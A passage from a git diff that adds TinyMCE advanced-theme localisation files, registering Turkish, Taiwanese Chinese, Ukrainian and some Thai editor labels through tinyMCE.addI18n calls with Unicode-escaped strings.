?","link_titlefield":"\u0e0a\u0e37\u0e48\u0e2d","link_target_blank":"\u0e40\u0e1b\u0e34\u0e14\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48","link_target_same":"\u0e40\u0e1b\u0e34\u0e14\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e40\u0e14\u0e35\u0e22\u0e27\u0e01\u0e31\u0e19","link_target":"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22","link_url":"\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c URL","link_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","image_align_right":"\u0e02\u0e27\u0e32","image_align_left":"\u0e0b\u0e49\u0e32\u0e22","image_align_textbottom":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e2d\u0e22\u0e39\u0e48\u0e25\u0e48\u0e32\u0e07","image_align_texttop":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e2d\u0e22\u0e39\u0e48\u0e1a\u0e19","image_align_bottom":"\u0e25\u0e48\u0e32\u0e07","image_align_middle":"\u0e01\u0e25\u0e32\u0e07","image_align_top":"\u0e1a\u0e19","image_align_baseline":"\u0e40\u0e2a\u0e49\u0e19\u0e1e\u0e37\u0e49\u0e19","image_align":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07\u0e08\u0e31\u0e14\u0e27\u0e32\u0e07","image_hspace":"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19","image_vspace":"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","image_dimensions":"\u0e02\u0e19\u0e32\u0e14","image_alt":"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e2d\u0e35\u0e22\u0e14\u0e23\u0e39\u0e1b","image_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e23\u0e39\u0e1b","image_border":"\u0e01\u0e23\u0e2d\u0e1a","image_src":"URL \u0e23\u0e39\u0e1b","image_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e23\u0e39\u0e1b","charmap_title":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23\u0e17\u0e35\u0e48\u0e01\u0e33\u0e2b\u0e19\u0e14\u0e40\u0e2d\u0e07","colorpicker_name":"\u0e0a\u0e37\u0e48\u0e2d:","colorpicker_color":"\u0e2a\u0e35:","colorpicker_named_title":"\u0e0a\u0e37\u0e48\u0e2d\u0e2a\u0e35","colorpicker_named_tab":"\u0e0a\u0e37\u0e48\u0e2d","colorpicker_palette_title":"\u0e08\u0e32\u0e19\u0e2a\u0e35","colorpicker_palette_tab":"\u0e08\u0e32\u0e19\u0e2a\u0e35","colorpicker_picker_title":"\u0e08\u0e32\u0e19\u0e2a\u0e35","colorpicker_picker_tab":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35","colorpicker_title":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35","code_wordwrap":"\u0e15\u0e31\u0e14\u0e04\u0e33","code_title":"\u0e41\u0e01\u0e49\u0e44\u0e02 HTML","anchor_name":"\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","anchor_title":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","about_loaded":"\u0e42\u0e2b\u0e25\u0e14\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19","about_version":"\u0e23\u0e38\u0e48\u0e19","about_author":"\u0e1c\u0e39\u0e49\u0e40\u0e02\u0e35\u0e22\u0e19","about_plugin":"\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19","about_plugins":"\u0e1b\u0e25\u0e31\u0e4a\u0e01\u0e2d\u0e34\u0e19","about_license":"\u0e25\u0e34\u0e02\u0e2a\u0e34\u0e17\u0e18\u0e34\u0e4c","about_help":"\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d","about_general":"\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e40\u0e23\u0e32","about_title":"\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a TinyMCE","charmap_usage":"Use left and right arrows to navigate.","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage","invalid_color_value":"Invalid color value"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/tr.js b/js/tiny_mce2/themes/advanced/langs/tr.js new file mode 100755 index 0000000..e08a86b --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/tr.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advanced',{"underline_desc":"Alt\u0131 \u00e7izili (Ctrl+U)","italic_desc":"\u0130talik (Ctrl+I)","bold_desc":"Kal\u0131n (Ctrl+B)",dd:"A\u00e7\u0131klama tan\u0131mlama",dt:"\u0130fade tan\u0131mlama ",samp:"\u00d6rnek kod",code:"Kod",blockquote:"Blok al\u0131nt\u0131",h6:"Ba\u015fl\u0131k 6",h5:"Ba\u015fl\u0131k 5",h4:"Ba\u015fl\u0131k 4",h3:"Ba\u015fl\u0131k 3",h2:"Ba\u015fl\u0131k 2",h1:"Ba\u015fl\u0131k 1",pre:"\u00d6nceden bi\u00e7imlendirilmi\u015f",address:"Adres",div:"Blok",paragraph:"Paragraf",block:"Bi\u00e7im",fontdefault:"Yaz\u0131 tipi","font_size":"Yaz\u0131 boyutu","style_select":"Stiller","more_colors":"Daha fazla renk","toolbar_focus":"Alt+Q ara\u00e7 d\u00fc\u011fmelerine ge\u00e7. Alt+Z: Edit\u00f6re ge\u00e7. Alt+X:Elementin yoluna ge\u00e7.",newdocument:"T\u00fcm i\u00e7eriklerleri temizlemek istedi\u011finizden emin misiniz?",path:"Yol","clipboard_msg":"Mozilla Firefox da Kes/Kopyala/Yap\u0131\u015ft\u0131r kullan\u0131lamaz. Bu konu hakk\u0131nda daha fazla bilgi almak ister misiniz?","blockquote_desc":"Blok al\u0131nt\u0131","help_desc":"Yard\u0131m","newdocument_desc":"Bo\u015f belge","image_props_desc":"Resim \u00f6zellikleri","paste_desc":"Yap\u0131\u015ft\u0131r","copy_desc":"Kopyala","cut_desc":"Kes","anchor_desc":"K\u00f6pr\u00fc ekle/d\u00fczenle","visualaid_desc":"K\u0131lavuz/g\u00f6r\u00fcnmez nesneleri a\u00e7/kapat.","charmap_desc":"\u00d6zel karakter ekle","backcolor_desc":"Arkaplan rengini se\u00e7","forecolor_desc":"Metin rengini se\u00e7","custom1_desc":"\u00d6zel a\u00e7\u0131klamalar burada","removeformat_desc":"Bi\u00e7imi temizle","hr_desc":"Yatay cetvel ekle","sup_desc":"\u00dcstsimge","sub_desc":"Altsimge","code_desc":"HTML Kayna\u011f\u0131n\u0131 D\u00fczenle","cleanup_desc":"Da\u011f\u0131n\u0131k kodu temizle","image_desc":"Resim ekle/d\u00fczenle","unlink_desc":"Ba\u011flant\u0131y\u0131 kald\u0131r","link_desc":"Ba\u011flant\u0131 ekle/d\u00fczenle","redo_desc":"Yinele (Ctrl+Y)","undo_desc":"Geri al (Ctrl+Z)","indent_desc":"Girintiyi art\u0131r","outdent_desc":"Girintiyi azalt","numlist_desc":"S\u0131ral\u0131 liste","bullist_desc":"S\u0131ras\u0131z liste","justifyfull_desc":"\u0130ki yana yasla","justifyright_desc":"Sa\u011fa hizala","justifycenter_desc":"Ortala","justifyleft_desc":"Sola hizala","striketrough_desc":"\u00dcst\u00fc \u00e7izili","help_shortcut":"Toolbar i\u00e7in ALT-F10 a bas\u0131n. Yard\u0131m i\u00e7in ALT-0 a bas\u0131n.","rich_text_area":"Zengin Metin Alan\u0131","shortcuts_desc":"Eri\u015filebilirlik Yard\u0131m\u0131",toolbar:"Toolbar","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/tr_dlg.js b/js/tiny_mce2/themes/advanced/langs/tr_dlg.js new file mode 100755 index 0000000..8fdb3be --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advanced_dlg',{"link_list":"Ba\u011flant\u0131 listesi","link_is_external":"Girdi\u011fiz URL d\u0131\u015f ba\u011flant\u0131 gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan http:// \u00f6nekinin eklenmesini ister misiniz?","link_is_email":"Girdi\u011finiz URL e-posta adresi gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan mailto: \u00f6nekinin eklenmesini ister misiniz? prefix?","link_titlefield":"Ba\u015fl\u0131k","link_target_blank":"Ba\u011flant\u0131y\u0131 yeni pencerede a\u00e7","link_target_same":"Ba\u011flant\u0131y\u0131 ayn\u0131 pencerede a\u00e7","link_target":"Hedef","link_url":"Ba\u011flant\u0131 URL\'si","link_title":"Ba\u011flant\u0131 ekle/d\u00fczenle","image_align_right":"Sa\u011f","image_align_left":"Sol","image_align_textbottom":"Metin altta","image_align_texttop":"Metin \u00fcstte","image_align_bottom":"Alt","image_align_middle":"Orta","image_align_top":"\u00dcst","image_align_baseline":"Taban hizas\u0131","image_align":"Hizalama","image_hspace":"Yatay bo\u015fluk","image_vspace":"Dikey bo\u015fluk","image_dimensions":"Boyutlar","image_alt":"Resim a\u00e7\u0131klamas\u0131","image_list":"Resim listesi","image_border":"Kenarl\u0131k","image_src":"Resmin URL\'si","image_title":"Resim ekle/d\u00fczenle","charmap_title":"\u00d6zel karakter se\u00e7","colorpicker_name":"\u0130sim:","colorpicker_color":"Renk:","colorpicker_named_title":"Renk ad\u0131","colorpicker_named_tab":"Ad\u0131","colorpicker_palette_title":"Renk paleti","colorpicker_palette_tab":"Palet","colorpicker_picker_title":"Renk se\u00e7ici","colorpicker_picker_tab":"Se\u00e7ici","colorpicker_title":"Renk se\u00e7","code_wordwrap":"Kelimeleri birlikte tut","code_title":"HTML Kaynak Edit\u00f6r\u00fc","anchor_name":"K\u00f6pr\u00fc ad\u0131","anchor_title":"K\u00f6pr\u00fc ekle/d\u00fczenle","about_loaded":"Y\u00fckl\u00fc eklentiler","about_version":"Versiyon","about_author":"Yazar","about_plugin":"Eklenti","about_plugins":"Eklentiler","about_license":"Lisans","about_help":"Yard\u0131m","about_general":"Hakk\u0131nda","about_title":"TinyMCE hakk\u0131nda","anchor_invalid":"L\u00fctfen ge\u00e7erli bir k\u00f6pr\u00fc ad\u0131 giriniz","accessibility_help":"Eri\u015febilirlik Yard\u0131m\u0131","accessibility_usage_title":"Genel Kullan\u0131m"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/tw.js b/js/tiny_mce2/themes/advanced/langs/tw.js new file mode 100755 index 0000000..1ceb6dc --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/tw.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advanced',{"underline_desc":"\u5e95\u7dda (Ctrl+U)","italic_desc":"\u659c\u9ad4 (Ctrl+I)","bold_desc":"\u7c97\u9ad4 (Ctrl+B)",dd:"\u540d\u8a5e\u89e3\u91cb",dt:"\u540d\u8a5e\u5b9a\u7fa9",samp:"\u539f\u59cb\u78bc\u7bc4\u4f8b",code:"\u539f\u59cb\u78bc",blockquote:"\u5f15\u7528",h6:"\u6a19\u984c6",h5:"\u6a19\u984c5",h4:"\u6a19\u984c4",h3:"\u6a19\u984c3",h2:"\u6a19\u984c2",h1:"\u6a19\u984c1",pre:"\u9810\u8a2d\u5b9a\u7fa9\u683c\u5f0f",address:"\u5730\u5740",div:"DIV \u968e\u5c64",paragraph:"\u6bb5\u843d",block:"\u683c\u5f0f",fontdefault:"\u5b57\u9ad4","font_size":"\u5b57\u578b\u5927\u5c0f","style_select":"\u6a23\u5f0f","link_delta_height":"60","link_delta_width":"40","more_colors":"\u66f4\u591a\u984f\u8272...","toolbar_focus":"\u5b9a\u4f4d\u5230\u5de5\u5177\u5217\uff1aAlt+Q\uff0c\u5b9a\u4f4d\u5230\u7de8\u8f2f\u6846\uff1aAlt+Z\u5b9a\u4f4d\u5230\u5de5\u5177\u5217- Alt+Q\uff0c\u5b9a\u4f4d\u5230\u5143\u7d20\u76ee\u9304\uff1aAlt+X\u3002",newdocument:"\u78ba\u8a8d\u6e05\u9664\u76ee\u524d\u7de8\u8f2f\u7684\u5167\u5bb9\u55ce\uff1f",path:"\u5143\u7d20\u76ee\u9304","clipboard_msg":"\u5f88\u62b1\u6b49\uff0c\u60a8\u7684\u700f\u89bd\u5668\u4e0d\u652f\u63f4\u8907\u88fd\u529f\u80fd\u3002","blockquote_desc":"\u5f15\u7528","help_desc":"\u8aaa\u660e","newdocument_desc":"\u65b0\u5efa\u6a94\u6848","image_props_desc":"\u5716\u7247\u5c6c\u6027","paste_desc":"\u8cbc\u4e0a (Ctrl+V)","copy_desc":"\u8907\u88fd (Ctrl+C)","cut_desc":"\u526a\u4e0b (Ctrl+X)","anchor_desc":"\u63d2\u5165/\u7de8\u8f2f\u66f8\u7c64","visualaid_desc":"\u986f\u793a/\u96b1\u85cf\u76ee\u6a19","charmap_desc":"\u63d2\u5165\u7279\u6b8a\u7b26\u865f","backcolor_desc":"\u80cc\u666f\u984f\u8272","forecolor_desc":"\u6587\u5b57\u984f\u8272","custom1_desc":"\u5728\u6b64\u8f38\u5165\u63cf\u8ff0","removeformat_desc":"\u6e05\u9664\u683c\u5f0f","hr_desc":"\u6c34\u5e73\u7dda","sup_desc":"\u4e0a\u6a19","sub_desc":"\u4e0b\u6a19","code_desc":"Html\u539f\u59cb\u78bc\u6a21\u5f0f","cleanup_desc":"\u6e05\u9664\u683c\u5f0f","image_desc":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","unlink_desc":"\u522a\u9664\u8d85\u9023\u7d50","link_desc":"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","redo_desc":"\u53d6\u6d88\u5fa9\u539f (Ctrl+Y)","undo_desc":"\u5fa9\u539f (Ctrl+Z)","indent_desc":"\u589e\u52a0\u7e2e\u6392","outdent_desc":"\u6e1b\u5c11\u7e2e\u6392","numlist_desc":"\u7de8\u865f\u5217\u8868","bullist_desc":"\u9805\u76ee\u5217\u8868","justifyfull_desc":"\u5de6\u53f3\u5c0d\u9f4a","justifyright_desc":"\u9760\u53f3\u5c0d\u9f4a","justifycenter_desc":"\u7f6e\u4e2d\u5c0d\u9f4a","justifyleft_desc":"\u9760\u5de6\u5c0d\u9f4a","striketrough_desc":"\u522a\u9664\u7dda","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/tw_dlg.js b/js/tiny_mce2/themes/advanced/langs/tw_dlg.js new file mode 100755 index 0000000..15de48a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advanced_dlg',{"link_list":"\u8d85\u9023\u7d50\u6e05\u55ae","link_is_external":"\u60a8\u8f38\u5165\u7684 URL \u662f\u4e00\u500b\u5916\u90e8\u8d85\u9023\u7d50\uff0c\u662f\u5426\u8981\u52a0\u4e0a http:// \uff1f","link_is_email":"\u60a8\u8f38\u5165\u7684\u662f\u96fb\u5b50\u90f5\u4ef6\u5730\u5740,\u662f\u5426\u9700\u8981\u52a0 mailto:\uff1f","link_titlefield":"\u6a19\u984c","link_target_blank":"\u65b0\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","link_target_same":"\u76ee\u524d\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","link_target":"\u76ee\u6a19","link_url":"\u8d85\u9023\u7d50URL","link_title":"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","image_align_right":"\u9760\u53f3","image_align_left":"\u9760\u5de6","image_align_textbottom":"\u6587\u5b57\u4e0b\u65b9","image_align_texttop":"\u6587\u5b57\u4e0a\u65b9","image_align_bottom":"\u9760\u4e0b","image_align_middle":"\u7f6e\u4e2d","image_align_top":"\u9760\u4e0a","image_align_baseline":"\u57fa\u6e96\u7dda","image_align":"\u5c0d\u9f4a\u65b9\u5f0f","image_hspace":"\u6c34\u5e73\u9593\u8ddd","image_vspace":"\u5782\u76f4\u9593\u8ddd","image_dimensions":"\u5c3a\u5bf8","image_alt":"\u5716\u7247\u8aaa\u660e","image_list":"\u5716\u7247\u6e05\u55ae","image_border":"\u908a\u6846","image_src":"\u5716\u7247URL","image_title":"\u63d2\u5165/\u7de8\u8f2f\u5716\u7247","charmap_title":"\u63d2\u5165\u7279\u6b8a\u7b26\u865f","colorpicker_name":"\u540d\u7a31\uff1a","colorpicker_color":"\u984f\u8272\uff1a","colorpicker_named_title":"\u5e38\u7528\u984f\u8272","colorpicker_named_tab":"\u5e38\u7528\u984f\u8272","colorpicker_palette_title":"WEB\u984f\u8272","colorpicker_palette_tab":"\u5b89\u5168\u8272","colorpicker_picker_title":"\u8abf\u8272\u76e4","colorpicker_picker_tab":"\u8abf\u8272\u76e4","colorpicker_title":"\u9078\u64c7\u984f\u8272","code_wordwrap":"\u81ea\u52d5\u63db\u884c","code_title":"\u539f\u59cb\u78bc\u6a19\u984c","anchor_name":"\u66f8\u7c64\u540d\u7a31","anchor_title":"\u63d2\u5165/\u7de8\u8f2f\u66f8\u7c64","about_loaded":"\u5df2\u555f\u7528\u7684\u5916\u639b\u7a0b\u5f0f","about_version":"\u7248\u672c","about_author":"\u4f5c\u8005","about_plugin":"\u5916\u639b\u7a0b\u5f0f","about_plugins":"\u5916\u639b\u7a0b\u5f0f","about_license":"\u6388\u6b0a","about_help":"\u8aaa\u660e","about_general":"\u95dc\u65bc","about_title":"\u95dc\u65bc TinyMCE","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/uk.js b/js/tiny_mce2/themes/advanced/langs/uk.js new file mode 100755 index 0000000..5998e28 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/uk.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advanced',{"underline_desc":"\u041f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439 (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u0416\u0438\u0440\u043d\u0438\u0439 (Ctrl+B)",dd:"\u0414\u043e\u0432\u0456\u0434\u043d\u0438\u043a, \u043e\u043f\u0438\u0441 ",dt:"\u0414\u043e\u0432\u0456\u0434\u043d\u0438\u043a, \u0442\u0435\u0440\u043c\u0456\u043d ",samp:"\u041f\u0440\u0438\u043a\u043b\u0430\u0434 \u043a\u043e\u0434\u0443",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442\u0430",h6:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",h5:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",h4:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",h3:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",h2:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",h1:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",pre:"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u044c\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432\u0430\u043d\u0438\u0439",address:"\u0421\u0442\u0438\u043b\u044c \u0430\u0434\u0440\u0435\u0441\u0438",div:"Div",paragraph:"\u0410\u0431\u0437\u0430\u0446",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0443","style_select":"\u0421\u0442\u0438\u043b\u0456","more_colors":"\u0411\u0456\u043b\u044c\u0448\u0435 \u043a\u043e\u043b\u044c\u043e\u0440\u0456\u0432","toolbar_focus":"\u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u043f\u0430\u043d\u0435\u043b\u044c \u043a\u043d\u043e\u043f\u043e\u043a - Alt+Q, \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u0434\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 - Alt-Z, \u041f\u0435\u0440\u0435\u0439\u0442\u0438 \u0434\u043e \u0448\u043b\u044f\u0445\u0443 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0443 - Alt-X",newdocument:"\u0412\u0438 \u0432\u043f\u0435\u0432\u043d\u0435\u043d\u0456, \u0449\u043e \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0432\u0441\u0435 \u0432\u0438\u0434\u0430\u043b\u0438\u0442\u0438?",path:"\u0428\u043b\u044f\u0445","clipboard_msg":"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438/\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438/\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0456 \u0432 Mozilla \u0438 Firefox.\n\u0412\u0430\u043c \u0446\u0456\u043a\u0430\u0432\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f \u043f\u0440\u043e \u0446\u0435?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442\u0430","help_desc":"\u0414\u043e\u043f\u043e\u043c\u043e\u0433\u0430","newdocument_desc":"\u041d\u043e\u0432\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","paste_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438","copy_desc":"\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438","cut_desc":"\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438","anchor_desc":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u044f\u043a\u0456\u0440","visualaid_desc":"\u041f\u0435\u0440\u0435\u043c\u043a\u043d\u0443\u0442\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u0456/\u043f\u0440\u0438\u0445\u043e\u0432\u0430\u043d\u0456 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438","charmap_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u043a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443","forecolor_desc":"\u0412\u0438\u0431\u0440\u0430\u0442\u0438 \u043a\u043e\u043b\u0456\u0440 \u0442\u0435\u043a\u0441\u0442\u0443","custom1_desc":"\u0412\u0430\u0448 \u0434\u043e\u0432\u0456\u043b\u044c\u043d\u0438\u0439 \u043e\u043f\u0438\u0441 \u0442\u0443\u0442","removeformat_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0443\u0432\u0430\u043d\u043d\u044f","hr_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u0438\u0439 \u0440\u043e\u0437\u0434\u0456\u043b\u044c\u043d\u0438\u043a","sup_desc":"\u0412\u0435\u0440\u0445\u043d\u0456\u0439 \u0456\u043d\u0434\u0435\u043a\u0441","sub_desc":"\u041d\u0438\u0436\u043d\u0456\u0439 \u0456\u043d\u0434\u0435\u043a\u0441","code_desc":"\u0420\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 HTML \u043a\u043e\u0434","cleanup_desc":"\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u0438 \u0437\u0430\u0439\u0432\u0438\u0439 \u043a\u043e\u0434","image_desc":"\u0414\u043e\u0434\u0430\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","unlink_desc":"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","link_desc":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","redo_desc":"\u041f\u043e\u0432\u0435\u0440\u043d\u0443\u0442\u0438 (Ctrl+Y)","undo_desc":"\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438 (Ctrl+Z)","indent_desc":"\u0417\u0431\u0456\u043b\u044c\u0448\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f","outdent_desc":"\u0417\u043c\u0435\u043d\u0448\u0442\u0438\u0442\u0438 \u0432\u0456\u0434\u0441\u0442\u0443\u043f","numlist_desc":"\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","bullist_desc":"\u041d\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a","justifyfull_desc":"\u041f\u043e \u0448\u0438\u0440\u0438\u043d\u0456","justifyright_desc":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","justifycenter_desc":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","justifyleft_desc":"\u041f\u043e \u043b\u0456\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","striketrough_desc":"\u0417\u0430\u043a\u0440\u0435\u0441\u043b\u0435\u043d\u0438\u0439","help_shortcut":"\u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT F10 \u0434\u043b\u044f \u0442\u0443\u043b\u0431\u0430\u0440\u0443. \u041d\u0430\u0442\u0438\u0441\u043d\u0456\u0442\u044c ALT 0 \u0434\u043b\u044f \u043e\u0442\u0440\u0438\u043c\u0430\u043d\u043d\u044f \u0434\u043e\u043f\u043e\u043c\u043e\u0433\u0438",toolbar:"\u0422\u0443\u043b\u0431\u0430\u0440","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/uk_dlg.js b/js/tiny_mce2/themes/advanced/langs/uk_dlg.js new file mode 100755 index 0000000..cfb143b --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advanced_dlg',{"link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c","link_is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0437\u043e\u0432\u043d\u0456\u0448\u043d\u0454 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f, \u0432\u0438 \u0431\u0430\u0436\u0430\u0454\u0442\u0435 \u0434\u043e\u0434\u0430\u0442\u0438 \u043f\u043e\u0442\u0440\u0456\u0431\u043d\u0438\u0439 \u043f\u0440\u0435\u0444\u0456\u043a\u0441 http://?","link_is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0441\u0445\u043e\u0436\u0435 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0443 